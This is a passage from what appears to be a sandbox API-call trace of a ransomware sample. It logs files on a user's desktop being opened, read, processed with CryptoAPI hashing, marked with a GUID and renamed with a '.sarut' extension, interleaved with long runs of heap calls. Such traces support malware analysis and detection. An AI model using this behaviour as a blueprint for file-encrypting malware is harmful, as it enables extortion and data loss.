HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\V8Vbr5d9qBcwJea.mp4") returned=".mp4" [0271.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\V8Vbr5d9qBcwJea.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\v8vbr5d9qbcwjea.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.675] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=8803) returned 1 [0271.675] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.677] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x223d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.677] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.687] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x2263, lpOverlapped=0x0) returned 1 [0271.687] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.687] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.687] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.687] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa4f50) returned 1 [0271.688] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.688] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.688] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.689] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.689] GetLastError () returned 0x0 [0271.689] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.689] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0271.689] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.689] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.689] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.689] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.689] CloseHandle (hObject=0x5c4) returned 1 [0271.692] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\V8Vbr5d9qBcwJea.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\v8vbr5d9qbcwjea.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\V8Vbr5d9qBcwJea.mp4.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\v8vbr5d9qbcwjea.mp4.sarut")) returned 1 [0271.693] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.693] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.694] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.694] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13471470, ftCreationTime.dwHighDateTime=0x1d4ca8a, ftLastAccessTime.dwLowDateTime=0x738f2d10, ftLastAccessTime.dwHighDateTime=0x1d4d2df, ftLastWriteTime.dwLowDateTime=0x738f2d10, ftLastWriteTime.dwHighDateTime=0x1d4d2df, nFileSizeHigh=0x0, nFileSizeLow=0x13f7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zNCu.odp", cAlternateFileName="")) returned 1 [0271.694] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\zNCu.odp") returned=".odp" [0271.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\zNCu.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\zncu.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.695] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=81791) returned 1 [0271.695] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.696] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13f59, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.696] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.698] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x13f7f, lpOverlapped=0x0) returned 1 [0271.699] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.699] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.699] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.699] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa4f50) returned 1 [0271.700] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.700] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.700] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.700] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.700] GetLastError () returned 0x0 [0271.700] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.700] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0271.700] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.701] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13f7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.701] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.701] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.702] CloseHandle (hObject=0x5c4) returned 1 [0271.705] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\zNCu.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\zncu.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\zNCu.odp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\zncu.odp.sarut")) returned 1 [0271.706] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.706] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.707] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.707] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13471470, ftCreationTime.dwHighDateTime=0x1d4ca8a, ftLastAccessTime.dwLowDateTime=0x738f2d10, ftLastAccessTime.dwHighDateTime=0x1d4d2df, ftLastWriteTime.dwLowDateTime=0x738f2d10, ftLastWriteTime.dwHighDateTime=0x1d4d2df, nFileSizeHigh=0x0, nFileSizeLow=0x13f7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zNCu.odp", cAlternateFileName="")) returned 0 [0271.707] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0271.707] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0271.707] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0271.707] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0271.707] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0271.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.707] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.707] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.707] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.707] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.710] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.711] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.712] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, 